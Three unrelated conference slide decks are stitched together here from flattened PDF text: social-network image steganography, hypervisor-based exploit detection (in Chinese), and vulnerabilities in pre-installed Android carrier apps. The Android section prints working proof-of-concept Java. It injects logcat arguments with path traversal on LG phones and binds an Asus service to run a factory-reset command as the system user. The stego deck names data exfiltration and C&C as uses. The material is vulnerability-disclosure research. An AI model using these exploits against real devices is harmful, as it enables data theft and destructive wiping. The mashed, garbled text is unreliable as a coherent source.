▪ Lossy v. Lossless Raster
Compression
▪ Common file formats:
▪ JPEG (Lossy)
▪ PNG (Lossless)
▪ TIFF (Lossless)
▪ GIF (Lossless)
▪ BMP (Lossless)
Trial and Error - Attempted Methods
14
▪Metadata fields (varies by image
types JPEG EXIF vs. JFIF, etc.)
▪LSB - Least Significant Bit
▪Insertion
▪Append after EOF marker
▪Linguistic Steganography
▪Round trip: pre/post upload
DataGenetics
High-Level Testing Workflow
15
Social
Network
Data Hiding
Survivability
Testing
16
A Picture is Worth a
Thousand Words, Literally:
Deep Neural Networks for Social Stego
17
Deep Neural Networks for Social Stego
18
100+ hours
of video uploaded
per minute.
4.75 billion
pieces of content
shared per day.
500+ million
tweets per day.
80+ million
images uploaded per
day.
5 billion
+1’s per day.
Signals in the Social Noise
Social Network Image Proliferation
19
▪Image-based social networks have the
fastest growing user bases
▪Image-based social networks enjoy the
highest daily time spent by users
▪“Photos or Images” is the content
category most frequently shared
▪Social posts containing images produce
650% higher engagement than text alone
Social Networks as Stego Conduits
20
▪Heavily trafficked, tons of images
▪Public nature and #broadcast capabilities
▪Convenient APIs for sharing (uploading /
downloading) content for devs & apps
▪Fake account creation is trivial
▪Lack of IoC’s from network perspective
▪Wild examples - C&C, malware, phishing
Social Stego in the Wild
21
White Hat: Instegogram [ENDGAME]
Black Hat: HAMMERTOSS [FireEye]
Secretbook by Owen Campbell-Moore
22
▪ Open-source Social Stego tool
▪ Chrome Extension (2013)
▪ Reverse engineered Facebook’s
lossy compression algorithm
▪ Allowed for payloads of up to 140
characters in length
▪ Other heuristic DCT schemes exist
23
Bulk Image Uploads/Downloads
▪Data Acquisition made easy
■
Permissive APIs for content creation
■
More content=more engagement=profit
▪Off-the-shelf photo aggregators
■
Facebook albums
■
Pinterest boards
■
Flickr sets
■
Google+ Collections
▪Or we can do it the ‘hard way’
■
for photo in album{
upload(photo); sleep(randInt); }
Automated High-Level Testing Workflow
24
Jamming Techniques
25
▪ Server-side image upload
restrictions and alterations
▪ Fast mobile content delivery
▪ Common Image upload Alterations:
▪ Compression
▪ Lowpass filtering (slight blur)
▪ Metadata stripping
▪ Filetype conversion
▪ Resizing
▪ Alpha compositing
Targeting Unaltered Carrier Pixels
26
08 02 22 97 38 15 00 75 04 05 07 78 52
49 49 99 40 17 81 18 57 60 87 17 40 98
81 49 31 73 55 79 14 29 93 71 40 67 53
52 70 95 23 04 60 11 42 69 24 65 56 54
22 31 16 71 51 67 63 89 41 92 36 54 22
24 47 32 60 99 03 45 02 44 75 33 53 78
32 98 01 20 64 23 67 10 26 38 40 67 59
67 26 20 68 02 62 12 20 95 63 94 39 63
27
What humans see
What computers see
Auto-Generating Data
▪Select ~50k samples (e.g. ImageNet)
▪Automate uploads and downloads
▪=100k pre-uploaded and downloaded images
▪Compare pixels between phases
▪Can location choices be automated?
▪‘Classic’ Neural Nets don’t scale to images
■
width * height * 3 channels = unmanageable # weights
■
encode these properties into the architecture
28
Convolutional Neural Networks
▪Proven great for Computer Vision Tasks
■
Object classification, Facial recognition
▪Pose as Binary Classification Tasks
■
Locate optimally embeddable pixels
■
Akin to image segmentation
■
Feedforward networks and function approximation
▪Model spec
■
Keras on top of TensorFlow (Python)
■
Google GPU (8 vCPU Nvidia Tesla)
■
contracting/expanding, ~23 layers fed thru ReLUs
Illustration: Andrej Karpathy
CNNs: Szegedy, Toshev & Erhan, 2013
29
Image Segmentation - Predict Binary Masks
Left: DeepMask [Facebook Research]
Above: u-net [Ronneberger et al]
30
Prototype Evaluation
▪More robust, less detectable transmission
▪Recovery rates worsen with len(hidden data)
■
94.1% accuracy (FPs=lost data, FNs=lower capacity)
▪Minimizes Visual Dissimilarity
■
Distortion: peak signal-to-noise ratio, MS-SSIM
■
Capacity: bit survivability
■
Otherwise, watermarking
▪Learned pixels correlate w/ carrier locations
that are more complex and “busier”
31
Innovation and Novelty
▪Spatial stego = more storage capacity than
frequency stego, compression-intolerant
▪Previous ad hoc approaches weren’t data-
driven. Learn from uploads (feedback)
■
Updated processing logic = retrain
■
In principle, generalizes across social networks
▪No need to know implementation details of
compression or other nonlinear processing
■
Documentation not usually available anyway
+
=
Spatial Steganography
Frequency Steganography
↓DCT
Invert ↑
Modify DCT
A Picture is Worth a
Thousand Words, Literally:
Deep Neural Networks for Social Stego
32
Data-Driven Red and Blue Teaming
InfoSec ML Historically Prioritizes Defense
TIME
33
Data-Driven Social Engineering
34
Level of Effort
Success Rate
SNAP_R
Fully Automated
30-35% Accuracy
Spear Phishing
Highly Manual
45% Accuracy
Phishing
Mostly Automated
5-14% Accuracy
Low
High
Low
High
▪DEF CON 24
▪Why Twitter?
■
Bot-friendly API
■
Colloquial syntax
■
Shortened URLs
■
Abundant personal data
▪Machine grammar suffices
Red Team ML Rising
35
▪Growing number of examples:
■
Micro-targeted social engineering
■
Password cracking
■
Captcha subversion
■
AV evasion
■
Steganography
▪Offensive ML easier than defensive ML!
■
“Labeling Bottleneck” - unsupervised
▪Success matters more for blue than red team
▪Retreating barriers to entry
■
More open-source initiatives
■
Cheapening access to powerful machines (eg. GPUs)
Not to worry, though...
36
▪Offensive ML a positive development
▪It will “keep us honest”
▪Emerging defenses keep pace:
■
Semi-supervised learning
■
Adversarial learning
■
Transfer learning
■
Self-supervised reinforcement learning
▪Ultimately fortify security
▪Faster this is realized, the better
A Picture is Worth a
Thousand Words, Literally:
Deep Neural Networks for Social Stego
37
Wrap Up
Use Cases
38
▪ Data exfiltration, digital dead drops, C&C
▪ Bypass online censors
▪ Privacy - Metadata tracks thru social
media. Strip it if there’s concern
▪ Piracy - copyright in metadata
▪ Social media security awareness
Next Steps
39
▪ More social networks, crypto
▪ Deal w/ filters, resizing
▪ Fragment/Disperse payload
▪ Test more file types
▪ Video files (MP4, MOV, etc.)
▪ News Feed promoted, soon-to-be most popular
▪ Audio files (MP3)
▪ Create custom MP3s w/ GarageBand, embedded JPEG insertion
▪ ID3 Headers DC 24 SkyTalks Hosmer/Raggo
www.python-forensics.org
Mitigations
40
▪ More dynamic jamming techniques
▪ Histogram “zigzag” - color quantization
▪ Statistical: Means, variances, chi-square tests,
linear analysis, wavelet statistics, kurtosis
▪ Impermanence: delete by default
▪ Ephemeral images a la Snapchat
▪ Steganalysis is hard w/o access to orig image
▪ Further obscurement through social’s scale, variance
Summary and Questions
41
▪ Social networks and image hosting
services can be orthogonally used to
transmit data covertly
▪ Steganography can be automated despite
distorting image upload side effects
▪ Offensive AI is cheaper and easier to
implement than defensive AI
▪ Code to be released on GitHub piecemeal,
followed by technical report (WIP)
Philip Tully
@phtully
Mike Raggo
@datahiding | pdf |
KCon
KCon
探索虚拟化技术在漏洞检测中的应用
By:仙果
PART 01
自我介绍
PART 02
困境的“城内和城外”
PART 03
VT VS Exploit
PART 04
攻防技术对抗
PART 05
结语
目录
CONTENTS
自我介绍
01
高级安全工程师
仙果
安全研究员
准爸爸
我
是
谁
?
看雪学院
02 困境的“城内和城外”
困境
针对性的检测漏洞攻击
时间和效率的考量
人工分析的难度较大
人才培养周期长
攻防对抗成本显著增加
虚拟化技术应用于漏洞攻防对抗
精确对抗漏洞攻击
节省人力成本
虚拟化(Virtualization)
更多的时间在技术研究上
Virtualzation
Hardware Enabled Virtualzation
隐藏了系统、应用程序员和终
端用户赖以交互的计算机资源
物理性的一面,把单一物理资
源转换为多个逻辑资源,反之
亦可。
硬件层面上,CPU对虚拟化技术提
供直接支持,提高虚拟效率,降低
开发难度;硬件上实现内存地址甚
至是I/O设备的映射,支持二次寻
址。
VM_0
VM_1
VM_2
……
客户机
客户机
客户机
总线控制器
物理 I/O 设
备
页表
访问 I/O 设
备
CPU
Hypervisor
物理设备层
HEV/Hypervisor
操作系统
应用程序
操作系统
应用程序
操作系统
应用程序
虚拟机-1
虚拟机-2
虚拟机-3
Intel VT
AMD SVM
为每个虚拟机提供虚拟处理器
VMM层可以控制处理器资源,物理内存,管理中
断和I/O操作
各虚拟机采用相同接口处理虚拟机设备
每个虚拟机可以独立运行,相互独立
VMM层对虚拟机完全透明
客户机模式
Hypervisor 与Guest 直接快速切换
中断Guest 中特定的指令或事件
DMA保护
虚拟中断
嵌套页实现地址翻译
TLB(Translation Lookaside Buffer)减少性能下降
Intel VT---EPT
intel CPU在处理器级别加入对内存虚拟化的支持,支持
两级地址翻译
一个逻辑CPU处于非根模式下运行客户机代码时,使用
的地址是客户机虚拟地址,而访问这个虚拟地址时,同
样会发生地址的转换,这里的转换还没有设计到VMM
层,和正常的系统一样,依然是采用CR3作为基址,利
用客户机页表进行地址转换,只是到这里虽然已经转换
成物理地址,是客户机物理地址,不等同于宿主机的物
理地址,所以并不能直接访问,需要借助于第二次的转
换,也就是EPT的转换。
真实物理地址
虚拟物理地址
虚拟线性地址
gPT
CR3
EPTP
gPT
EPT
VT VS Exploit
03
硬件各个单元合并虚拟之后,使
用KVM 硬件虚拟化框架,进行
硬件单元的管理和调度。
KVM使用 Intel VT 技术来提升
虚拟化处理性能,在 KVM 上层
通过嵌套的 nested VT技术,使
检测框架运行在 QEMU 虚拟机
中。
利用VT技术,从而实现传统技术
无 法 实 现 的 技 术 。 例 如 MSR
HOOK,EPT hook,特权指令
监控等。
VT 检测框架
计算单元
硬件设备层
Hypervisor VT
(KVM+QEMU)
Guest OS
应用程序 A
VT
Win7
应用程序 B
VT
XP
应用程序 C
VT
Win10
存储单元
显示单元
指令追踪通过在 HOST 层针对
CPU指令注入MTF陷阱,当
CPU 汇编指令执行完毕后,触
发 VM Exit 事件,陷入 HOST
处理流程中。
进而能够记录具体的指令流程和
当前CPU的运行环境,从而能够
进行命中规则的指令流记录。
当记录完成之后,就可以进行规
则上的匹配,规则匹配完整之后,
通过 VMResume 指令产生 VM
Entry 事件交回到 Guest进行执
行下一条指令。
依次进行循环处理。
指令追踪流程图
MOV$DWORD$PTR[REG],REG
ADD$REG,XXXX
MOV$REG,RET
SUB$REG,XXX
CALL$DWORD$PTR[REG]
注入$MFT$陷阱
启动追踪
记录指令
VM$Entry
规则匹配
CPU
VM$Exit
Guest
Host
指令追踪 VS ROP
返回地址
栈帧
TEB
PEB
Module
……+
返回地址
栈帧
TEB
PEB
Module
……+
规则匹配流程
Reg+In+Moudle++
Reg+Target+In+moudle
Source+
指令追踪通过在 HOST 层针对
CPU指令注入MTF陷阱,当
CPU 汇编指令执行完毕后,触
发 VM Exit 事件,陷入 HOST
处理流程中。
进而能够记录具体的指令流程
和当前CPU的运行环境,从而
能够进行命中规则的指令流记
录。
当记录完成之后,就可以进行
规则上的匹配,规则匹配完整
之后,通过 VMResume 指令
产生 VM Entry 事件交回到
Guest进行执行下一条指令。
依次进行循环处理。
VT VS 提权
MOV$DWORD$PTR[REG],REG
ADD$REG,XXXX
MOV$REG,RET
SUB$REG,XXX
CALL$DWORD$PTR[REG]
注入$MFT$陷阱
启动追踪
记录指令
VM$Entry
规则匹配
CPU
VM$Exit
Guest
Host
VT VS 提权
VT VS 提权
eProcess
CR3
eProcess
CR3
eProcess
CR3
进程*A
进程*B
进程*C
SwapContext
SwapContext
Mov CR3,XXX
HOST
KPCR
ePorcess
PID&Token
是否系统进程
是
放行
校验 Token
内核提权
操作系统中每个进程都有
属于自身权限的Token,
漏洞需要提权则要获取到
NT system 权限的token,
进行覆盖。
当进行CR3 的赋值时,
Guest 就会陷入到 Host
中,进而可以进行PID和
Token的判断。
VT VS Rookit
Kdi.sys
Win32k.sys
Gdi.sys
NTKRNELOS.SYS
……
Guest
Mem
layout
E+R+W
E+R+W
E+R+W
E+R+W
R+W
HOST
EPT
……
R+W
GPA->HPA
VT VS Rookit
HOST
校验内存地址
E+R+W
E+R+W
E+R+W
E+R+W
R+W
HOST
EPT
R+W
尝试执行
Page Guard
放行
Rootkit
VT VS Ring0->Ring3
HOST
Ring 3
启用SMAP&SMEP
Pop rax
Ring0
Mov [0x04000000],rax
Call [0x04000000]
Push rax
关闭 SMAP&SMEP
注入 MTF 陷阱
记录指令
开启SMAP&SMEP
VT VS 内核信息泄漏
PID,Module name
监视器
Shadow CR3
NO E
Pop rdx
Mov rax,rdx
Push rax
Pop rax
Module Page
HOST
设置可执行
注入 MTF 陷阱
记录指令
设置不可执行
攻防技术对抗
04
无痕HOOK
内存隐藏
反虚拟机
检测
攻防技术对抗
结语
05
Thank you!
路漫漫其修远兮
吾将上下而求索
Thank you!
Thank you! | pdf |
Vulnerable Out of the Box:
An Evaluation of Android Carrier Devices
Ryan Johnson - Kryptowire
Angelos Stavrou - Kryptowire
Why Look for Cyber Threats?
Aggressive data collection
– Exfiltration of sensitive user-data to China (Adups)
– Sensitive data collection (OnePlus 5)
Remote system compromise
– System compromise from insecure network
communications (Ragentek)
User data disclosure due to vendor modifications
– Samsung leaking log data (CVE-2017-7978)
– MediaTek leaking log data (CVE-2016-10135)
Local privilege escalation to the “root” user
– Alcatel A30 (former Amazon Prime Exclusive Device)
– Leagoo P1
– Privileged EngineerMode app (OnePlus 5)
– Android 4.4 devices with a MediaTek chipset
2
Pre-installed Apps and Vendor OS Modification
Android devices contain a set of pre-installed apps
– May not be available on Google Play
– Some apps cannot be disabled
Pre-installed apps can be malicious and/or insecure
– Insecure apps can be locally or remotely exploited
– Malicious apps can provide “backdoor” functionality
and may exfiltrate sensitive user data
Vendors generally modify Google’s official Android
code to provide custom behavior
– (Un)intentionally expose sensitive capabilities
– Privileged platform apps
3
Source: https://developer.android.com/guide/platform/index.html
App Components
Fundamental functional blocks of an Android app
– Activity
– Broadcast Receiver
– Service
– Content Provider
Declared in the app’s manifest file
May provide accessible entry-points into an app for other apps to exploit by using
intents which are a message-like abstraction for communication within between apps
– Contains Intent-specific fields and potentially embedded data
4
Exported Application Components
Exported components are accessible to any process on the device
– Regulated by the android:exported and android:permission app component attributes
Android OS will export components, by default, if the app component does not use the
android:exported attribute and declares at least one intent-filter
5
<service android:name="com.asus.dm.installer.DMInstallerService">
<intent-filter>
<action android:name="com.asus.dm.installer.sync_apk_data"/>
<action android:name="com.asus.dm.installer.startService"/>
<action android:name="com.asus.dm.installer.download_app"/>
<action android:name="com.asus.dm.DMService.app_install_start"/>
<action android:name="com.asus.dm.DMService.app_install_result"/>
<action android:name="com.asus.dm.DMService.registerConnectivity"/>
<action android:name="com.asus.dm.installer.removeService"/>
</intent-filter>
</service>
DMInstallerService
will be exported by default
Threat Model
A low-privilege third-party app is installed on the device via app repackaging, phishing,
remote exploit, etc.
– Possibly, the READ_EXTERNAL_STORAGE permission is needed
– A malicious app without malicious permissions
6
US Carrier Android Devices - Vulnerabilities
AT&T – ZTE Blade Spark
–
Write modem and logcat logs to external storage
AT&T – LG Phoenix 2
–
Write logcat logs to app’s private directory
–
Lock user out of their device
Verizon – Asus ZenFone V Live
–
Command execution as system user
–
Take and write screenshot to external storage
Verizon – ZTE Blade Vantage
–
Write modem and logcat logs to external storage
Sprint – Essential Phone
–
Programmatic factory reset
T-Mobile – Coolpad Defiant
–
Send, read, and modify text messages
–
Programmatic factory reset
–
Obtain number of contacts
T-Mobile – T-Mobile Revvl Plus (Coolpad)
–
Send, read, and modify text messages
–
Programmatic factory reset
–
Obtain number of contacts
T-Mobile – ZTE ZMAX Pro
–
Send, read, and modify text messages
–
Programmatic factory reset
–
Obtain number of contacts
–
Write modem and logcat log to external storage
Multiple Carriers – LG G6
–
Lock user out of their device
–
Get logcat log and kernel logs
Cricket Wireless – Coolpad Canvas
–
Write logcat log, kernel log, and tcpdump to external
storage
–
Set properties as the phone user
Total Wireless – ZTE ZMAX Champ
–
Write modem and logcat logs to external storage
–
Programmatic factory reset
–
Make device continually crash in recovery mode
7
ZTE – Modem Log and Logcat Log
Vulnerability allows any app to access text messages and call data and logcat logs
– Can be activated by any app on the device
– Transparent to the user (no notifications or toast messages)
Writes to a base directory of /sdcard/sd_logs
– Modem log stored in qmdl format and logcat log in plaintext
Present in all the ZTE devices we examined
– ZTE Blade Spark, ZTE Blade Vantage, ZTE ZMAX Pro, ZTE ZMAX Champ
8
Source: https://www.amazon.com/Unlocked-Fingerprint-Reader-Z971-Desbloqueado/dp/B0748Z1VJ3
Exposing User Data Through Logcat Logs
Third-party Android apps cannot read the system-wide
logcat log since Android 4.1 due to it containing sensitive
user data
– Can only read the log messages they write
Pre-installed apps can expose log data to other apps
– Generally written to external storage (SD card)
Any app with the READ_EXTERNAL_STORAGE
permission can read from external storage
(i.e., SD card)
–
Contains the user’s pictures, downloads, and arbitrary files
9
Device
Carrier
ZTE Blade Spark
AT&T
ZTE Blade Vantage
Verizon
ZTE ZMAX Pro
T-Mobile
ZTE ZMAX Champ
Total Wireless
LG G6
Multiple Carriers
LG Phoenix 2
AT&T
Vivo V7
Unlocked
LG X Power
Unlocked
LG Q6
Unlocked
Asus ZenFone 3 Max
Unlocked
Orbic Wonder
Unlocked
Sample Data Leaked Through Logcat
Data written to the logcat log by any process
– Login credentials, tokens, etc.
Body of sent and received text messages
Phone number of received and placed calls
GPS Coordinates
Email Addresses
Telephone number
Cell Tower ID
MAC Address
Serial Number
IMEI
IMSI
URLs
10
ZTE – Activating the Modem Log
11
ZTE – Modem Log – Text Messages
Outgoing text message to 7035758208 with a message of “Test. Can you
text me back?”
Incoming text message from 7035758208 with a message of “Sucka” with a
timestamp of 3:04:43pm on March 11, 2018
12
00e89b60
e0 00 01 09 05 00 07 63
33 59 01 30 00 06 00 07
|.......c3Y.0....|
00e89b70
91 31 21 13 94 18 f0 24
01 01 0a 81 07 53 57 28
|.1!....$....E..!|
00e89b80
80 00 00 1b d4 f2 9c ee
02 0d c3 6e 50 fe 5d 07
|`..........nP.].|
00e89b90
d1 cb 78 3a a8 5d 06 89
c3 e3 f5 0f 33 6a 7e 92
|..x:.]......3j~.|
019928b0
29 00 09 01 25 01 e0 07
91 21 04 44 29 61 f6 00
|)...%....!.D)a..|
019928c0
19 04 0b 91 71 30 75 85
02 f8 00 00 81 30 11 51
|....Q.x......0.Q|
019928d0
40 34 69 06 d3 fa 78 1d
06 01 00 1b 22 7e 79 00
|@4i...x....."~y.|
ZTE – Modem Log – Call log
Incoming call from 7034227613
Outgoing call to 18008648331
13
03d3eda0
10 00 7a 01 7a 01 c1 12
17 27 37 f5 c9 6a e0 00
|..z.z....'7..j..|
03d3edb0
03 00 00 00 00 11 00 00
00 07 00 00 00 01 00 00
|................|
03d3edc0
00 00 00 00 00 37 30 33
34 32 32 37 36 31 33 66
|.....7034227613f|
03d3edd0
50 11 00 00 f0 af 68 00
90 98 00 00 80 48 69 00
|P.....h......Hi.|
03d3ede0
d0 b6 e5 ff 00 00 00 00
40 86 02 00 10 f9 ff ff
|........@.......|
03334a20 80 a0 70 c5 c9 6a e0 00 03 38 00 00 00 11 00 00 |..p..j...8......|
03334a30 00 06 00 00 00 01 00 00 00 00 00 00 00 31 38 30
|.............180|
03334a40 30 38 36 34 38 33 33 31
00 00 54 0e 60 34 c6 1b |08648331..T.`4..|
03334a50 00 00 03 00 50 89 00 80 00 00 00 00 00 00 00 00 |....P...........|
03334a60 d0 06 7f 02 00 00 00 00 00 00 00 00 30 0d 28 0a |............0.(.|
LG Vulnerabilities
Obtain system-wide logcat log in attacking app’s private directory
– Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2
– Generally written to SD card, but using path traversal it
can be written in the attacking app’s private directory
Lock user out of their device
– Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2
– Can only make emergency calls
Dump hidden database that contain logcat and kernel
logs to external storage
– Affects LG G6, LG Q6
14
Source: https://www.amazon.com/LG-G6-32-GB-Unlocked-Exclusive/dp/B07D2JL7TS
LG – Read System-wide Logcat Log Via
Command Line Argument Injection
Default command the com.lge.gnsslogcat app executes is logcat -v threadtime -s
GpsLocationProvider:V LocationManagerService:V GnssLogService:V
Attacking app needs to create a named file and change the permissions of it and its private directory
The intent changes the command to logcat -v threadtime -s GpsLocationProvider:V
LocationManagerService:V GnssLogService:V *:V Hidden:V
15
Intent i = new Intent("com.lge.gnsslogcat");
i.setClassName("com.lge.gnsslogcat", "com.lge.gnsslogcat.GnssLogService");
i.putExtra("modulename", "GnssLogService");
i.putExtra("start", true);
i.putExtra("logfilename", "../../../../data/data/com.attacking.app/logcat.txt");
ArrayList<String> darkness = new ArrayList<String>();
darkness.add("*:V Hidden");
i.putStringArrayListExtra("tags", darkness);
startService(i);
LG – Lock The User Out of Their Device
Screen lock is unresponsive except for making emergency calls
– Affects LG G6, LG Q6, LG X Power 2, and LG Phoenix 2
– Lock is active in safe mode
com.lge.CMCC_DM_PARTIALLY_LOCK action string
– Dynamically-registered by the com.android.systemui app
– Writes two values to the system settings and locks the screen
If ADB is enabled prior to the screen lock, a user can remove
the screen lock by sending a particular broadcast intent
– Otherwise, a factory reset is required to recover the device
16
Programmatic Factory Reset
A “factory reset” wipes all user data and
apps from the device
Facilitated by privileged pre-installed apps
– Requires a co-located zero-permission app
– Does not require any user intervention
User data and app that are not externally
backed-up is lost during a factory reset
17
Device
Carrier
Essential Phone
Sprint
Coolpad Defiant
T-Mobile
T-Mobile Revvl Plus
T-Mobile
ZTE ZMAX Champ
Total Wireless
Leagoo Z5C
Unlocked
Leagoo P1
Unlocked
Plum Compass
Unlocked
Orbic Wonder
Unlocked
MXQ TV Box 4.4.2
N/A
Sprint Essential Phone – Programmatic Factory Reset
18
private void asus_zenfone_V_live_command_execution_as_system_user() {
Intent i = new Intent();
i.setClassName("com.asus.splendidcommandagent", "com.asus.splendidcommandagent.SplendidCommandAgentService");
SplendidServiceConnection servConn = new SplendidServiceConnection();
boolean ret = bindService(i, servConn, BIND_AUTO_CREATE);
Log.i(TAG, "initService() bound with " + ret);
}
class SplendidServiceConnection implements ServiceConnection {
public void onServiceConnected(ComponentName name, IBinder boundService) {
Log.i(TAG, "onserviceConnected");
Parcel send = Parcel.obtain();
Parcel reply = Parcel.obtain();
send.writeInterfaceToken("com.asus.splendidcommandagent.ISplendidCommandAgentService");
send.writeString("am broadcast -a android.intent.action.MASTER_CLEAR");
try {
boolean success = boundService.transact(1, send, reply, Binder.FLAG_ONEWAY);
Log.i(TAG, "binder transaction success=" + success);
} catch (RemoteException e) {
e.printStackTrace();
}
send.recycle();
reply.recycle();
}
public void onServiceDisconnected(ComponentName arg0) {
Log.i(TAG, "onServiceConnected");
}
}
19
Asus ZenFone V Live – Command Execution as system User
Source: https://www.verizonwireless.com/smartphones/asus-zenfone-v-live/
system User Capabilities on Android 7.1.1
• Video Record Screen of the user
• Take screenshots
• Make a phone call
• Factory reset the device
• Use logcat to obtain system-wide logs
• Set a custom keyboard with keylogging
functionality
• Change settings configurations
• Register an app as a notification listener
to get the user’s notifications
• Enable/disable apps
• Set a custom spell checker
• Change certain system properties
• Inject clicks, swipes, and text events in
the GUI (can be used to install apps and
emulate the user)
• Launch any app component that does
not have android:enabled set to
false
• Read/modify user’s text messages
• Read/modify user’s call log
• Read/modify user’s contacts
20
Sample of Vulnerable Asus Android Devices –
Command Execution as system User
Device
Status
Build Fingerprint
Asus ZenFone V Live (Verizon) Vulnerable
asus/VZW_ASUS_A009/ASUS_A009:7.1.1/NMF26F/14.0610.1802.78-
20180313:user/release-keys
Asus ZenFone 3 Max
Vulnerable
asus/US_Phone/ASUS_X008_1:7.0/NRD90M/US_Phone-14.14.1711.92-
20171208:user/release-keys
Asus ZenFone 3 Ultra
Vulnerable
asus/JP_Phone/ASUS_A001:7.0/NRD90M/14.1010.1711.64-
20171228:user/release-keys
Asus ZenFone 4 Max
Vulnerable
asus/WW_Phone/ASUS_X00ID:7.1.1/NMF26F/14.2016.1803.232-
20180301:user/release-keys
Asus ZenFone 4 Max Pro
Vulnerable
asus/WW_Phone/ASUS_X00ID:7.1.1/NMF26F/14.2016.1803.232-
20180301:user/release-keys
Asus ZenFone 4 Selfie
Vulnerable
asus/WW_Phone/ASUS_X00LD_3:7.1.1/NMF26F/14.0400.1802.190-
20180202:user/release-keys
Asus ZenFone Live
Vulnerable
asus/WW_Phone/zb501kl:6.0.1/MMB29P/13.1407.1801.57-
20180307:user/release-keys
Asus ZenPad 10
Vulnerable
asus/JP_P00C/P00C_2:7.0/NRD90M/JP_P00C-V5.3.20-
20171229:user/release-keys
Asus ZenPad 3 8.0
Vulnerable
asus/WW_P008/P008_1:7.0/NRD90M/WW_P008-V5.7.3-
20180110:user/release-keys
Asus ZenPad S 8.0
Not Vulnerable
asus/WW_P01M/P01M:6.0.1/MMB29P/WW_P01M-V5.6.0-
20170608:user/release-keys
21
Asus ZenFone 3 (ZE552KL) – Timeline for the
Command Execution as system User Vulnerability
22
Target Market
Release Date
Status
Build Fingerprint
Japan
05/21/18
Vulnerable
asus/JP_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0
26/15.0410.1804.60-0:user/release-keys
Worldwide
05/16/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0
26/15.0410.1804.60-0:user/release-keys
Worldwide
05/03/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0
26/15.0410.1803.55-0:user/release-keys
Worldwide
04/19/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0
26/15.0410.1803.53-0:user/release-keys
Japan
04/19/18
Vulnerable
asus/JP_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0
26/15.0410.1803.52-0:user/release-keys
China
03/23/18
Not Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.201
0.1801.197-20180302:user/release-keys
Worldwide
03/14/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0
26/15.0410.1802.44-0:user/release-keys
Worldwide
02/12/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0
26/15.0410.1801.40-0:user/release-keys
China
02/12/18
Not Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.201
0.1801.196-20180108:user/release-keys
Worldwide
01/29/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:8.0.0/OPR1.170623.0
26/15.0410.1801.40-0:user/release-keys
Japan
01/11/18
Vulnerable
asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.
1712.85-20171228:user/release-keys
Worldwide
01/08/18
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.
1712.85-20171228:user/release-keys
Worldwide
12/22/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.
1711.83-20171220:user/release-keys
Worldwide
12/15/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.
1711.79-20171206:user/release-keys
Japan
11/22/17
Vulnerable
asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.
1711.75-20171115:user/release-keys
Worldwide
11/21/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020.
1711.75-20171115:user/release-keys
Target Market
Release Date
Status
Build Fingerprint
Worldwide
10/13/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020
.1709.68-20171003:user/release-keys
China
09/06/17
Not Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20
10.1706.184-20170817:user/release-keys
Japan
08/08/17
Vulnerable
asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020
.1708.56-20170719:user/release-keys
Worldwide
08/03/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020
.1708.56-20170719:user/release-keys
China
07/24/17
Not Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20
10.1706.181-20170710:user/release-keys
Worldwide
07/14/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020
.1706.53-20170628:user/release-keys
Italy
06/29/17
Vulnerable
asus/TIM_Phone/ASUS_Z012D:7.0/NRD90M/14.202
0.1704.41-20170526:user/release-keys
Japan
05/17/17
Vulnerable
asus/JP_Phone/ASUS_Z012D:7.0/NRD90M/14.2020
.1703.33-20170424:user/release-keys
Worldwide
04/21/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2020
.1703.28-20170410:user/release-keys
China
03/31/17
Not Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20
10.1701.170-20170323:user/release-keys
Italy
03/28/17
Vulnerable
asus/TIM_Phone/ASUS_Z012D:7.0/NRD90M/14.201
5.1701.13-20170310:user/release-keys
Worldwide
03/08/17
Vulnerable
asus/WW_Phone/ASUS_Z012D:7.0/NRD90M/14.2015
.1701.8-20170222:user/release-keys
Japan
02/24/17
Not Vulnerable
asus/JP_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20
10.1612.161-20170205:user/release-keys
China
01/09/17
Not Vulnerable
asus/CN_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20
.10.150-20161214:user/release-keys
Worldwide
12/28/2016
Not Vulnerable
asus/WW_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20
.10.152-20161222:user/release-keys
Worldwide
12/08/2016
Not vulnerable
asus/WW_Phone/ASUS_Z012D:6.0.1/MMB29P/13.20
.10.140-20161117:user/release-keys
@Override
public int onStartCommand(final Intent intent, int flags, int startId) {
new Thread() {
public void run() {
if (intent == null) {
stopSelf();
return;
}
String action = intent.getStringExtra("action");
if (action.isEmpty()) {
action = intent.getAction();
}
Log.i("DropboxChmodService", "action = [" + action + "]");
if (action.isEmpty()) {
stopSelf();
return;
}
try {
Process process = Runtime.getRuntime().exec(action);
Log.i("DropboxChmodService", "wait begin");
process.waitFor();
Log.i("DropboxChmodService", "wait end");
} catch (Exception e) {
e.printStackTrace();
}
}
}.start();
return super.onStartCommand(intent, flags, startId);
}
